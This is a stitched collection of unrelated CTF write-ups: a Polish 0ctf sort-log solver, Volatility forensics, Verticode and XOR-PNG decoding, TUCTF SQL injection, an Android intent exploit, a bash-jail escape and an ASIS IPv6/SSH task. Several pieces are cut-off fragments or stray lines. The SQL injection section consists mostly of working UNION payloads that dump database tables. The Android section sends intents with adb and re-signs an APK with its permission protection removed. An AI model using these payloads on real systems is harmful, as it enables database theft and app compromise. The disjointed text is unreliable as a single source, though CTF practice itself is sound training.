Ostatecznie napisaliśmy (brzydki!) skrypt który podążał logiem i robił dokładnie to samo co było w logu:
```pythonlog = [x.strip() for x in open('calllog').read().split('\n')]
known = [] # known "facts" about characters in flag
def process(log, il, state): if log[il] != 'STARTFX': raise 'error' il += 1 if len(state) > 1: if log[il] != 'STARTMAIN': raise 'error' il += 1 r18 = 1 for r1c in range(1, len(state)+1): if log[il] != 'FOR_CHECK': raise 'error' il += 1 if r1c == len(state): break if log[il] == 'AFTERFOR': break if log[il] != 'STARTFOR': raise 'error' il += 1 if log[il] == 'SWAP_18_1C': # we are in 'swap' branch, so buffer[r1c] < state[0] known.append([state[r1c], '<', state[0]]) il += 1 state[r1c], state[r18] = state[r18], state[r1c] r18 += 1 else: # we are /not/ in 'swap' branch, so buffer[1rc] >= state[0] known.append([state[0], '<=', state[r1c]]) if log[il] != 'FOR_INC': print il raise 'error' il += 1 if log[il] != 'AFTERFOR': print il, log[il] raise 'error' il += 1 state[r18-1], state[0] = state[0], state[r18-1]
il, state[:r18-1] = process(log, il, state[:r18-1]) il, state[r18:] = process(log, il, state[r18:]) if log[il] != 'ENDMAIN': raise 'error' il += 1 return il, state
# stars (*) are placeholders for unknown charactersstate = list('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789{}0ctf{********************}')
# replace stars with integers (0 - first unknown, 1 - second unknown, etc)j = 0for i in range(len(state)): if state[i] == '*': state[i] = j j += 1vars = jprocess(log, 0, state) # processprint state```
Nie wiadomo jakim cudem, ale to zadziałąło. Po uruchomieniu tego kodu dostaliśmy coś takiego:
['0', '0', 14, 6, '1', 2, '2', '3', 3, '4', 18, 13, '5', 12, 4, 8, '6', 11, '7', '8', 16, '9', 10, 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'c', 'd', 'e', 'f', 'f', 'g', 'h', 'i', 'j', 7, 'k', 17, 9, 'l', 'm', 5, 'n', 'o', 'p', 'q', 19, 1, 'r', 15, 's', 't', 0, 't', 'u', 'v', 'w', 'x', 'y', 'z', '{', '{', '}', '}']
Jeśli wszystko zadziałało, to powinna być tablica po posortowaniu przez algorytm - i wszystko wyglądało ok.Ten wynik oznacza że np. 14 i 6 zmienna były pomiędzy znakami '0' i '1' - więc mogły być albo znakami '0' albo '1'.
Niestety, to było niewystarczające do odzyskania flagi (prawie każdy znak miał 2 możliwe wartości - za dużo do zgadnięcia).
Ale w sumie, wiemy coś więcej o fladze - a konkretnie wyniki porównywania zmiennych do innych znaków. Czy możemy uzyć tej wiedzydo poprawienia naszych estymat flagi? Okazuje się że tak (z nawet gorszym skryptem):
```pythonres = {}for i in range(len(state)): if not isinstance(state[i], basestring): j = i while not isinstance(state[j], basestring): j -= 1 k = i while not isinstance(state[k], basestring): k += 1 res[state[i]] = [state[j], state[k]]
print res
for iteration in range(10): possible = [] for i in range(vars): mn, mx = res[i] for less, op, gtr in known: if not isinstance(gtr, basestring) and not isinstance(less, basestring): continue if op == '<': if less == i: # 1 < 'z' if mx >= gtr: mx = chr(ord(gtr)-1) if gtr == i: # 'z' < 1 if mn <= less: mn = chr(ord(less)+1) if op == '<=': if less == i: # 1 <= 'z' if mx >= gtr: mx = gtr if gtr == i: # 'z' <= 1 if mn <= less: mn = less res[i] = [mn, mx] if mn == mx: for xxx in known: if xxx[0] == i: xxx[0] = mn if xxx[2] == i: xxx[2] = mn else: pass #possible.append([mn, mx])
for i in range(vars): print res[i]```
Wynik wykonania tego piekielnego skryptu (każda linia oznacza minimalną i maksymalną możliwą wartośc dla każdego znaku):
['t', 't'] ['r', 'r'] ['1', '1'] ['3', '3'] ['5', '5'] ['m', 'm'] ['1', '1'] ['k', 'k'] ['5', '5'] ['l', 'l'] ['9', 'A'] ['6', '6'] ['5', '5'] ['5', '5'] ['1', '1'] ['r', 's'] ['9', '9'] ['l', 'l'] ['5', '5'] ['r', 'r']
Więc zostały tylko 4 możliwości (2 znaki miały po 2 możliwości, reszta była unikalna):
Po prostu bruteforcowaliśmy te 4 możłiwości na panelu do zgłaszania flag, i dostaliśmy nasze dobrze zasłużone 4 punkty.
Naprawdę sporo pracy zrobiliśmy podczas rozwiązywania tego zadania - prawdopodpobnie to nie był najprostszy sposób na rozwiązanie tego.
Jeśli dobrze pamiętam, poprawną flagą z 4 możliwych flag było ostatecznie `0ctf{tr135m1k5l96551s9l5r}`. |
angstromCTF 2016 - <span>Volatile </span>Category:Forensics Score: 90Description:Help! One of our machines has been compromised! We have a memory dump<span>. Find the suspicious process. The machine was running Windows XP service pack 2.</span>The memory dump is WinXPSP2x86 #######Using Volatility Tool :$ ./vol.py -f memdump.mem --profile=<span>WinXPSP2x86 pslist################################</span>Offset(V) Name PID PPID Thds Hnds Sess Wow64 Start ---------------------------------------------------------------------------------------------------------------------------------------------- 0x81f88020 wtf_who_names_k 1768 500 1 15 0 0 2015-04-23 04:09:31 ----------------------------------------------------------------------------------------------------------------------------------------------##############################################$ vol.py -f memdump.mem --profile=WinXPSP2x86 -p 1768 dlllist ##############################################************************************************************************wtf_who_names_k pid: 1768Command line : "C:\Documents and Settings\Administrator\Desktop\wtf_who_names_keyloggers_like_this.exe" Service Pack 2Base Size LoadCount Path---------- ---------- ---------- ----0x00400000 0x11000 0xffff C:\Documents and Settings\Administrator\Desktop\wtf_who_names_keyloggers_like_this.exe0x7c900000 0xb0000 0xffff C:\WINDOWS\system32\ntdll.dll0x7c800000 0xf4000 0xffff C:\WINDOWS\system32\kernel32.dll0x77dd0000 0x9b000 0xffff C:\WINDOWS\system32\ADVAPI32.DLL0x77e70000 0x91000 0xffff C:\WINDOWS\system32\RPCRT4.dll0x77c10000 0x58000 0xffff C:\WINDOWS\system32\msvcrt.dll0x77d40000 0x90000 0xffff C:\WINDOWS\system32\USER32.dll0x77f10000 0x46000 0xffff C:\WINDOWS\system32\GDI32.dll #################################################### the Flag is : wtf_who_names_keyloggers_like_this |
#Verticode
Welcome to Verticode, the new method of translating text into vertical codes.
Each verticode has two parts: the color shift and the code.
The code takes the inputted character and translates it into an ASCII code, and then into binary, then puts that into an image in which each black pixel represents a 1 and each white pixel represents a 0.
For example, A is 65 which is 1000001 in binary, B is 66 which is 1000010, and C is 67 which is 1000011, so the corresponding verticode would look like this.
Except, it isn't that simple.
A color shift is also integrated, which means that the color before each verticode shifts the ASCII code, by adding the number that the color corresponds to, before translating it into binary. In that case, the previous verticode could also look like this.
The table for the color codes is:
0 = Red1 = Purple2 = Blue3 = Green4 = Yellow5 = Orange
This means that a red color shift for the letter A, which is 65 + 0 = 65, would translate into 1000001 in binary; however, a green color shift for the letter A, which is 65 + 3 = 68, would translate into 1000100 in binary.
Given this verticode, read the verticode into text and find the flag.
Note that the flag will not be in the typical sctf{flag} format, but will be painfully obvious text. Once you find this text, you will submit it in the sctf{text} format. So, if the text you find is adunnaisawesome, you will submit it as sctf{adunnaisawesome}.
## Solution overview
In this challenge we need to find a decent image library to use, in order to inspect the different pixels in the image we have to decode. I am using perl and for this I will use the library **Imager**. You can find a suitable image library for your favorite programming language.
1) Determine pixel positions2) Determining the logic of our program3) Code4) Running code and interpreting the result
## Determine pixel positions
Before we start the programming, we need to determine the pixel positions for the different parts of the image. For this task I use **gimp** , you can use whatever program suits you.
In order to parse all the image parts we need the following measurements
1) Height of the Verticode2) Bit pattern start position X axis.3) With of each "bit" in the bit pattern section.
Once we have these measurements, we can move on.
## Determining the logic of our program
We got the measurements which we will use in our algorithm, so now we need to quickly sketch up our program logic.
1) Handle command line arguments, we intend to run our program like **./decode.pl <verticode.png>**2) Traverse the input image's pixels, from y=0 to y< height of image. Each step being the height of the verticode.3) Get the color of the shift value and look it up to get the integer value associated with it.4) Go through all bits in the bit pattern part and determine the color/value of each.5) translate the bit pattern consisting of all the bits from bullet 4, into an integer value6) Subtract the shift value from bullet 3 from our bit pattern integer and print out the ascii equivalent.
## Code
```#!/usr/bin/perl
use Imager;
my $filename = $ARGV[0];unless (-e $filename ) {usage(); exit(0);}
my $CODEHEIGHT = 12; # what height in pixels is each band in the imagemy $BITPATTERNSTART = 84;my $BITPATTERNWIDTH = 12;
my $img = Imager->new(file=>$filename) or die Imager->errstr();
my $width = $img->getwidth();my $height = $img->getheight();
print "Image information \n";print "\tWidth : $width\n";print "\tHeight : $height\n";
my $COLORSHIFT = { "255,0,0" => 0, # rED "128,0,128" => 1, # Purple "0,0,255" => 2, # bLUE "0,128,0" => 3, # Green "255,255,0" => 4, # Yellow "255,165,0" => 5, # Orange
};
for ( my $i=0; $i<$height; $i+=$CODEHEIGHT ) {
my $shiftPixelColor = $img->getpixel(x=>1,y=> $i); my ($r,$g,$b,$a) = $shiftPixelColor->rgba();
my $pixelColorString = "$r,$g,$b"; my $shiftValue = $COLORSHIFT->{$pixelColorString};
my $bitPattern = "";
for ( my $j=$BITPATTERNSTART ; $j < $width; $j+=$BITPATTERNWIDTH ) {
my $bitColor = $img->getpixel(x=>$j,y=> $i); my ($br,$bg,$bb,$ba) = $bitColor->rgba();
my $bcString = "$br,$bg,$bb";
my $bit = $bcString eq "0,0,0"?"1":"0";
$bitPattern .= $bit; }
my $x_num = oct("0b0". $bitPattern); my $shiftedChar = $x_num -$shiftValue; print chr($shiftedChar) . "";}
sub usage { print "\n"; print "Usage: \n"; print "\t $0 <imagefile to decode>\n"; print "\n";}
```
## Running code and interpreting the result
Now we run our code
`./decode.pl code1.png`
And we get the following result, I added line breaks for brevity
```JoeLopowasamanofmildtemperamentshortstatureandhadthegoaltobecometheworldsfastesttelephoneeaterThoughLoponeverknewevenbasicphysicshecreatedatelescopecapableofsightingthesmallesthaironanalienwholivedquiteafewlightyearsawayJoeLopoquicklydestroyedalargeboulderandusedtheshatteredremainstoformeightsmallstatuesthatstronglyresembledtinycreaturesbeingorrelatedtothewaterfleaHeplacedtheminacircularpatterntoformasortofshrineandplacedthetelescopeinthemiddleofitHethenchanneledthepowerofthestonewaterfleasintothetelescopetoviewthepoweroftheheavensHewasinatrancewiththebeautyofthemysteriousdimensionanddidntevennoticetheverylargetornadoheadingtowardhimTheshrinewasquicklydemolishedandtheimmediatewithdrawlofpowersentJoeLobointoalairofpitchblacknessfoundtobeaparalleldimensionthatcausABCiamtheflagalllowercasenojokeDEFanyonewhosefirstnamebeganwithJalongwithMLandQtobecomeratheruncomfortableJoewasalsosuddenlyintroducedtoundroclamaticolomphasisciousytheeccentrictapewormwithastrongmorrocanaccentImundroclamaticolomphasisciousytheeccentrictapewormIlikepizzasohowareyadoinIhavenoideasaidJoe```
Reading the text, which is about telescopes and aliens, you quickly see that there are odd out of place uppercase characters in the bottom part of the text.
Between ABC and DEF, you can see the flag: *iamtheflagalllowercasenojoke*
Insert it into the flag template and you get:
**sctf{iamtheflagalllowercasenojoke}** |
# Magic Image
For this challenge you were given two files encrypt.py and encrypted.png. Presumably encrypted.png was generated with encrypt.py script. Here are the contents of the encrypt.py.
```python#!/usr/bin/env python
def xor(s1, s2): res = [chr(0)]*12 for i in range(len(res)): q = ord(s1[i]) d = ord(s2[i]) k = q ^ d res[i] = chr(k) res = ''.join(res) return res
def add_pad(msg): l = 12 - len(msg)%12 msg += chr(l)*l return msg
with open('flag.png') as f: data = f.read()
data = add_pad(data)
with open('key') as f: key = f.read()
enc_data = ''for i in range(0, len(data), 12): enc = xor(data[i:i+12], key) enc_data += enc
with open('encrypted.png', 'wb') as f: f.write(enc_data)
```
Looking at the code we see that it simply has a twelve byte key that xors every byte of the file with, and we need to recover it to get the original png back.
The [PNG](http://www.libpng.org/pub/png/spec/1.2/PNG-Structure.html) file format has an 8 byte header of [137 80 78 71 13 10 26 10]. So we can obtain the first 8 bytes of the key by finding each byte, b, such that ```b ^ encrypted_header[i] = decrypted_header[i]```
What about the last 4 bytes however? Well looking at the add_pad function it's main job is to pad the decrypted file so that it is divisble by the key length. The way it does it is by padding it with the character value of the number of bytes that need to be added. This is easily reversible though. If it padded over four bytes than that means we will have the key and the encrpyted value. So all we need to do is figure out the pad length. This is done by finding the value such that ```key[i] ^ i == last[i]``` where last is the last 12 bytes of the encrypted file. It turns out that the pad length is seven in this case.
We just use that formula for last four bytes of the key replacing i with the padlength ```key[i] ^ pad_length == last[i]```. Now we will have the full key and can reverse the whole image by running the encryption algorithm on itself.
Here is the full code used to solve it.
```python#!/usr/bin/env python
def xor(s1, s2): res = [chr(0)]*12 for i in range(len(res)): q = ord(s1[i]) d = ord(s2[i]) k = q ^ d res[i] = chr(k) res = ''.join(res) return res
# PNG header valuesords = [137, 80, 78, 71, 13, 10, 26, 10]
# Read the whole encrypted file# and get the first 8 and last 12 bytes for later usewith open('encrypted.png') as f: r = f.read() enc_ords = r[:8] enc_ords = [ord(x) for x in enc_ords] last = r[len(r) - 12:] last = [ord(x) for x in last]
# Get the first eight bytes of the keykey = []for i in range(0,len(ords)): for x in range(255): if ords[i] ^ x == enc_ords[i]: key.append(x) break
# Get the pad length and valuefor x in range(1,8): if key[x] ^ x == last[x]: pad = x
# Get the last four bytes of the keyfor i in range(8,12): for x in range(255): if x ^ pad == last[i]: key.append(x)
# Put the key into a stringkey = ''.join([chr(x) for x in key])
# decrypt the fileenc_data = ''for i in range(0, len(r), 12): enc = xor(r[i:i+12], key) enc_data += enc
# write the decrypted image outwith open('decrypt.png', 'wb') as f: f.write(enc_data)
```
And here is the decrypted image file with the flag
 |
if you need some informations or more details: Contact Me : [email protected]GreetZ To: r00tsif you like this video: #Like + #Subscribe + #Share & Thank you ^^ !! |
# Student Grades (Web, 50pts)
We are trying to find out what our grade was, but we don't seem to be in the database...
Can you help us out?
http://104.199.151.39/index.html
## Solution
We can see web application to check some user grades:
When username is entered and 'Check my grades' pressed, little JavaScript code is executed sending AJAX request after some additional data manipulation:
```JavaScriptdocument.getElementById('submit').addEventListener('click', function(event){ event.preventDefault(); var input = document.getElementById('info'); //var query = 'SELECT * from Names where name=\'' + input.value + '\''; var inp_str = input.value; inp_str = inp_str.replace(/\W+/g, " "); var md5_str = md5(inp_str); var send_str = inp_str+' '+md5_str; var post_data = {name: send_str, submit:1}; $.ajax({ type: "POST", url: "/postQuery.php", data: post_data, success: function(data){document.getElementById('results').innerHTML=data;} }); } );``` After quick investigation of response, there's SQL query in the comment:
 There's obvious SQL Injection flaw in this query (no data sanitization, used LIKE '%' and so on).
I've created simple script to generate payloads and prepare them using formula find in JavaScript code above:
```Python#!/usr/bin/pythonimport hashlib
p = "boby' or '1'='1' order by 2,'"
h = hashlib.md5(p)print "\n\n" + p + "+" + h.hexdigest()
```
First payload finds number of columns:
```p = "boby' or '1'='1' order by 2,'"```
Second payload execute UNION based SQL Injection:
```p = "boby' and '1'='2' union select 1,'"```
Next grabs table(s) and column(s):
```name=boby' and '1'='2' union select group_concat(concat(table_name,0x20,column_name)),1 from information_schema.columns where table_schema=database() order by '+ba8883ed612a3d0b752759f01bbbf856```
Result:```<tr><th>Name</th><th>Grade</th></tr><tr><td>tuctf_grades name,tuctf_grades grade,tuctf_info item,tuctf_info value,tuctf_junk item,tuctf_junk owner</td><td>1</td></tr>```
Let's try table _tuctf___junk_:
```name=boby' and '1'='2' union select group_concat(concat(item,0x20,owner)),1 from tuctf_junk order by '+ef78413334c102b4fc1426ec45325594```
Result:
```<tr><th>Name</th><th>Grade</th></tr><tr><td>A random server Bob</td><td>1</td></tr>```
Nope. No flag in this table.
Next, _tuctf___info_ table:
```name=boby' and '1'='2' union select group_concat(concat(item,0x20,value)),1 from tuctf_info order by '+f4028ff3dafb50d3853d22ced070d8cc```
And, here we go :)
```<tr><th>Name</th><th>Grade</th></tr><tr><td>flag TUCTF{v4ccinate_y0ur_databa5e5}</td><td>1</td></tr>```
Flag:```TUCTF{v4ccinate_y0ur_databa5e5}``` |
#Google-Capture-The-Flag-2016##Ill lntentionsChallenge description: Do you have have ill intentions?
The illintentions.apk was provided.
#Inspecting the provided apkAfter firing up the illintentions.apk in genymotion, we are greeted with an activity displaying: "Select the activity you wish to interact with.To-Do: Add buttons to select activity, for now use Send_to_Activity"
Not much to do here.
#Decompiling the apkDex2jar allows us to obtain the jar file
`d2j-dex2jar.sh BobbyApplication_CTF.apk`
Now to extract the code, we used jd-gui (Java Decompiler)
#Inspecting the sourceThe code for the MainActivity is:```javapublic class MainActivity extends Activity{
public MainActivity() { }
public void onCreate(Bundle bundle) { super.onCreate(bundle); bundle = new TextView(getApplicationContext()); bundle.setText("Select the activity you wish to interact with.To-Do: Add buttons to select activity, for now use Send_to_Activity"); setContentView(bundle); bundle = new IntentFilter(); bundle.addAction("com.ctf.INCOMING_INTENT"); registerReceiver(new Send_to_Activity(), bundle, "ctf.permission._MSG", null); }}```The decompiled code is not perfect but gives us a very good idea of what's going on.
There is a Broadcast Receiver named Send_to_Activity being registered on the onCreate with the action `com.ctf.INCOMING_INTENT` and requires the permission `ctf.permission._MSG`.
The code for the Broadcast Receiver is:```javapublic class Send_to_Activity extends BroadcastReceiver{
public Send_to_Activity() { }
public void onReceive(Context context, Intent intent) { intent = intent.getStringExtra("msg"); if (intent.equalsIgnoreCase("ThisIsTheRealOne")) { context.startActivity(new Intent(context, com/example/application/ThisIsTheRealOne)); return; } if (intent.equalsIgnoreCase("IsThisTheRealOne")) { context.startActivity(new Intent(context, com/example/application/IsThisTheRealOne)); return; } if (intent.equalsIgnoreCase("DefinitelyNotThisOne")) { context.startActivity(new Intent(context, com/example/application/DefinitelyNotThisOne)); return; } else { Toast.makeText(context, "Which Activity do you wish to interact with?", 1).show(); return; } }}```
So if we send a broadcast, with the right action and "msg" extra, we can get to other 3 activities (ThisIsTheRealOne, IsThisTheRealOne, DefinitelyNotThisOne).
##Launching the ActivitiesThe receiver is registered on the AndroidManifest.xml as:```xml<receiver android:exported="true" android:name="com.example.application.Send_to_Activity"/>```
`exported="true"` means the receiver can receive broadcasts from outside the application. This means good news as we can just use adb (Android Debug Bridge) to send broadcasts. The commands to open each Activity are:```./adb shell am broadcast -a com.ctf.INCOMING_INTENT --es "msg" "ThisIsTheRealOne"./adb shell am broadcast -a com.ctf.INCOMING_INTENT --es "msg" "IsThisTheRealOne"./adb shell am broadcast -a com.ctf.INCOMING_INTENT --es "msg" "DefinitelyNotThisOne"```
The new activities are just a big button filling the whole screen as can been seen from each activity's code:```javapublic class ThisIsTheRealOne extends Activity{ public ThisIsTheRealOne() { } public void onCreate(Bundle bundle) { super.onCreate(bundle); (new TextView(this)).setText("Activity - This Is The Real One"); bundle = new Button(this); bundle.setText("Broadcast Intent"); setContentView(bundle); bundle.setOnClickListener(new android.view.View.OnClickListener() { public void onClick(View view) { view = new Intent(); view.setAction("com.ctf.OUTGOING_INTENT"); String s = (new StringBuilder()).append(getResources().getString(0x7f030006)).append("YSmks").toString(); String s1 = Utilities.doBoth(getResources().getString(0x7f030002)); String s2 = Utilities.doBoth(getClass().getName()); view.putExtra("msg", orThat(s, s1, s2)); sendBroadcast(view, "ctf.permission._MSG"); } }); }}```
The button's onClick method sends a broadcast, with a "msg" extra containing a string with some operations applied on it.Taking a look at strings.xml we find those strings contain only gibberish:```xml<string name="flag">Qvq lbh guvax vg jbhyq or gung rnfl?</string><string name="str1">`wTtqnVfxfLtxKB}YWFqqnXaOIck`</string><string name="str2">IIjsWa}iy</string><string name="str3">TRytfrgooq|F{i-JovFBungFk</string><string name="str4">H0l3kwjo1|+kdl^polr</string> ```
The operations applied on those strings are described in Utilities.java. They seem however too complicate to undestand so we will just focus on capturing those broadcasts.
##Capturing the BroadcastsFor capturing the broadcasts, I just wrote an app that would register a BroadcastReceiver and listen for broadcasts with the action "com.ctf.OUTGOING_INTENT" and print the content os "msg".The source code for the app is in this repo.
**Beware!** The illintentions.apk sends a broadcast requiring the permission "ctf.permission._MSG" so we need to add ` <uses-permission android:name="ctf.permission._MSG" />` to our AndroidManifest.xml
##Running the exploitAfter deploying the app to genymotion and pressing the button on one of those last activities, by looking at logcat we notice the app still isn't able to receive the broadcast due to *Permission Denial*.
This is because the permission `ctf.permission._MSG` defined on the illintentions.apk' manifest file has `android:protectionLevel="signature"` which means it can only be used within the application. The workaround is to remove this attribute from the AndroidManifest.xml and recompile the illintentions.apk again.
##Recompiling and signing the apkI used this as reference https://www.reddit.com/r/Android/comments/11852r/how_to_modify_an_apk
Using apktool to recompile:```apktool b sourcefolder illintentions.apk```
The apk now needs to be signed, otherwise it throws a Signature Error when installing. To resign the apk (see the reddit thread for the necessary files):```java -jar signapk.jar certificate.pem key.pk8 illintentions.apk illintentions2.apk```
##Running the apk againAfter deploying the recompiled illintentions.apk, I opened the IsThisTheRealOne activity with adb and pressed the button to fire the broadcast. My apk picked the broadcast and printed the flag `CTF{IDontHaveABadjokeSorry}`. |
## hsab (misc, 200)
In this task, we were given only an IP and port to connect to. After sending a simple proof of work,we are immediately dropped into bash shell. Trying a couple of standard commands, such as `ls` or`cat /etc/passwd` doesn't work - it said `ls: command not found`. Playing with it some more time, wenoticed `echo` actually did work, `echo xxx` actually printed `xxx`. Using `echo *`, `echo */*` and so on,we could list all the files on the server. I did not save the output, but it was mostly normal Linuxstuff, `/etc` and similar. However, two things stood out. First, the only binaries in `/bin` were `bash`itself and `server` - presumably the program managing the connection. Second, there was a file called`/home/ctf/flag.ray`, probably containing the flag. However, without `cat` we could not easily read it.
Thankfully, most of the bash builtin commands were working. After quick look into `man bash`, we thought`read` should work - `read xxx < flag.ray; echo $xxx` was the command we tried. Although it worked locally,on the server it was syntax error - probably they disabled redirection, as `echo < /etc/passwd` errored too.
One more thing we tried, was running `bash flag.ray`. Trying it on local system with dummy flag, it outputed:```$ bash flag.ray flag.ray: line 1: DUMMY_FLAG: command not found```On the server, there was no output though. That meant it was probably a correct bash script. Finally, thething that worked was running `bash -v flag.ray` - or running bash in verbose mode. It turned out, thatthe file contents were `#BCTF{ipreferzshtobash}` - commented flag. |
## Death Sequence (PPC-M) tl;dr use matrixes with fastpow to get the desired results in O(logn) time
In this chall, we're given a series of numbers:
`1 1 1 1 10 46 217 1027 4861 23005 108874 515260 2438533 11540665`
It turns out that each numbers satisfies such formula that: inline equation:
`Fn = F(n-1) * 4 + F(n-2) * 3 + F(n-3) * 2 + F(n-4)`
This looks strangely fimilar to Fibonacii definition and we know, that we can calculate n'th fibonacii number in O(logn) time by using fast matrix exponentiation and [Q-matrix](http://mathworld.wolfram.com/FibonacciQ-Matrix.html)
After a **lot** of thought, we came up with a solution:
Declare *init* matrix as:
|**4**|**1**|**0**|**0**||:--:|:--:| :--:| :--:||**3**|**0**|**1**|**0**||**2**|**0**|**0**|**1**||**1**|**0**|**0**|**0**|
And *begin* matrix as:
|**1**|**1**|**1**|**1**||:--:|:--:| :--:| :--:||**1**|**1**|**1**|**0**||**1**|**1**|**0**|**0**||**1**|**0**|**0**|**0**|
If we raise the begin matrix to the power of n and then multiply the init matrix with the result we'll get nth (more or less*) desired number in the left top record.
* We'll actually get n+4th number so we have to subtract the offset
Of course, if n is more than 10 we'll start getting really big results, so we have to modulo the field during multiplication.
The sum was a little bit trickier, write down Fn, F(n-1), F(n-2), F(n-3) and F(n-4) then recognise common paterns and you get:
`Sn = (F(n+4)-3F(n+3)-6F(n+2)-8F(n+1)+16)/9`
Wrapping that all up we get [this](solve.py) scripts which allows us to get the flag: `CTF-BR{It-wAs-jUsT-a-ReCURsIVe-SequenCE-to-BE-coded-In-LOGN-XwmIBVyZ5QEC}`
|
��## For1 (Forensics, 100 points)
tl;dr Find mspaint.exe in memory, inspect it as raw data in gimp
We're presented with a Win10x64 memory dump, let's start by inspecting current processes using volatility:
`volatility --profile Win10x64 -f dump1.raw pslist`.
There are 2 particularly interesting lines:
```
Name PID PPID Thds Hnds Sess Wow64 Start
mspaint.exe 4092 2336 3 0 1 0 2016-04-04 16:13:21
notepad.exe 2012 2336 1 0 1 0 2016-04-04 16:14:49
```
Both of these programs look like a good place to hide the flag. However, we should've gotten the text from notepad using strings, so we'll start with paint.
`volatility -f dump1.raw memdump -p 4092 --dump-dir=dump`
Produces a 1.8GB file, not very helpful...
It turns out that gimp handles raw data pretty well, we can select size, algorithm and offset.
We started tweaking those values to get a meaningful image.
After some fun we're surprised with:
|
To authenticate on a server we had to provide a message signed with a RSA private key. Hopefully the server allows us to sign any message except the one requested with the same key. |
Tokens was a python exploitation challenge during the 2016 Pwn2Win CTF competition held from 25-27 March. When solved the team was awarded 50 points. This challenge focused on being able to identify exploitable python code which would allow the competitor to take advantage of the running service. This challenge explored the vulnerability of misusing the python eval() method. See link for more details. |
Angrymin========
* **CTF:** [ASIS CTF Quals 2016](https://asis-ctf.ir/)* **Category:** Misc* **Points:** 52* **Solves:** 19
>> Today, unfortunately I must inform you that I am resigning from my position at you company effective immediately. As each day passed by, it became more clear that you do not care about your customers nor your employees. While I may not be able to change your ways, at least I can stop helping you with my expertise.>> I have uploaded all the backups, documents and manuals on [here](angrymin.tar.xz). If you find some other sys-admin stupid enough to work for you, those files are more than enough to help him get started. Meanwhile, I am keeping the **username** and **password** for the [firewall](http://juniper.asis-ctf.ir), just to annoy you.>>>> Burn in hell,>>>> yours truly>>>> sys-admin>> Would you help this poor boss to find specific username and password?>> 4 ≠ 6
We wouldn't expect firewall to expose HTTP server, would we? Indeed, when we click "firewall" link, nothing happens. Some people received errors like `ERR_NAME_NOT_RESOLVED`. Also, for some it was impossible to ping this host:
```$ ping juniper.asis-ctf.irping: unknown host juniper.asis-ctf.ir```
This was a bit tricky task and there were a lot questions whether it is broken at CTF IRC channel. It wasn't, but... why some people were unable to access it?
Here's why:
```$ host juniper.asis-ctf.irjuniper.asis-ctf.ir has IPv6 address 2406:d501::613c:a652```
That is, `juniper.asis-ctf.ir` is an IPv6-only host. "4 ≠ 6" in task description was a hint (which was added shortly after CTF began). It is impossible to access IPv6-only host using IPv4 connection... directly. We're not doomed.
We won't describe the details, but there are at least few methods to get IPv6 connection on IPv4-only host (you need some basic networking knowledge):
* **[Teredo](https://en.wikipedia.org/wiki/Teredo_tunneling)** - this mechanism is built-in in Microsoft Windows operating systems and preconfigured to use `teredo.ipv6.microsoft.com` public Teredo gateway. However, to provide optimal user experience, it is configured not to resolve AAAA DNS records (IPv6 address pointers) - this would slower connections with dual-stack (IPv4 and IPv6) hosts, as client may prefer to use IPv6 address (unaware that this is non-native connection involving gateway far, far away in the Internet). Also, Teredo is dormant until we try to connect to some IPv6 host. Pinging address we discovered on our own a few times should be enough to wake it (of course if configured Teredo server is responding, which is not always the case; sometimes there are also problems with NAT traversal).* **[6to4 anycast](https://en.wikipedia.org/wiki/6to4)** - another easy way to access IPv6 hosts. Some helpful Internet service providers announce their publicly available 6to4 relay under well-known adress of 192.88.99.1 (see what [anycast](https://en.wikipedia.org/wiki/Anycast) is). You only have to configure appropriate route. This method requires you to have public IPv4 address (and router capable of protocol 41 redirection, if you don't connect your PC to ISP network directly).* **6to4 tunnel** - there are numerous tunnel providers, most notably [Hurricane Electric](https://tunnelbroker.net/) and [SixXS](https://www.sixxs.net/). They require additional configuration (compared to 6to4 anycast), but they allow you to create whole new IPv6 subnet only for yourself (instead of having single IPv6 address). SixXS is also able to work from behind NAT gateways or routers without protocol 41 support (AYIYA - Anything In Anything)!* **rent a virtual machine** - you can for example use "Droplet" at [DigitalOcean](https://www.digitalocean.com/community/tutorials/how-to-enable-ipv6-for-digitalocean-droplets); not all cloud providers support IPv6, so make sure to check features they offer first
Okay. Now we have IPv6 connectivity to `juniper.asis-ctf.ir`. Try pinging it first; note that under Linux operating systems you have to use different command than for IPv4 hosts!
```$ ping6 juniper.asis-ctf.ir -c4PING juniper.asis-ctf.ir(2406:d501::613c:a652) 56 data bytes64 bytes from 2406:d501::613c:a652: icmp_seq=1 ttl=44 time=331 ms64 bytes from 2406:d501::613c:a652: icmp_seq=2 ttl=44 time=331 ms64 bytes from 2406:d501::613c:a652: icmp_seq=3 ttl=44 time=331 ms64 bytes from 2406:d501::613c:a652: icmp_seq=4 ttl=44 time=331 ms
--- juniper.asis-ctf.ir ping statistics ---4 packets transmitted, 4 received, 0% packet loss, time 2999msrtt min/avg/max/mdev = 331.792/331.889/331.964/0.709 ms```
Gotcha. There is still no HTTP server (we get timeouts), but maybe we should try our luck with SSH? (raccoons was our local username; by default SSH tries to use the same username at remote host.)
```$ ssh juniper.asis-ctf.irThe authenticity of host 'juniper.asis-ctf.ir (2406:d501::613c:a652)' can't be established.RSA key fingerprint is 77:03:0f:db:66:9e:22:f7:d1:91:36:66:d6:0d:5e:9a.Are you sure you want to continue connecting (yes/no)? yesWarning: Permanently added 'juniper.asis-ctf.ir,2406:d501::613c:a652' (RSA) to the list of known hosts.[email protected]-ctf.ir's password:```
Okay. There is an SSH server waiting for us to login. We know that angry admin left us with no username and password, but we have some backups...
```$ ls -alhtotal 1.6Mdrwxr-xr-x 2 raccoons raccoons 4.0K May 6 13:37 .drwxr-xr-x 9 raccoons raccoons 4.0K May 9 20:57 ..-rwxr-xr-x 1 raccoons raccoons 647K May 6 13:37 630_upgrade.pdf-rwxr-xr-x 1 raccoons raccoons 62K May 6 13:37 Firewall-Juniper.jpg-rwxr-xr-x 1 raccoons raccoons 725 May 6 13:37 Links.txt-rwxr-xr-x 1 raccoons raccoons 20K May 6 13:37 juniper-srx100.jpg-rwxr-xr-x 1 raccoons raccoons 67K May 6 13:37 netscreen-640x364.jpg-rwxr-xr-x 1 raccoons raccoons 563K May 6 13:37 rn_540r9.pdf-rwxr-xr-x 1 raccoons raccoons 22K May 6 13:37 srx100.jpg-rwxr-xr-x 1 raccoons raccoons 186K May 6 13:37 upgrade_guide.pdf```
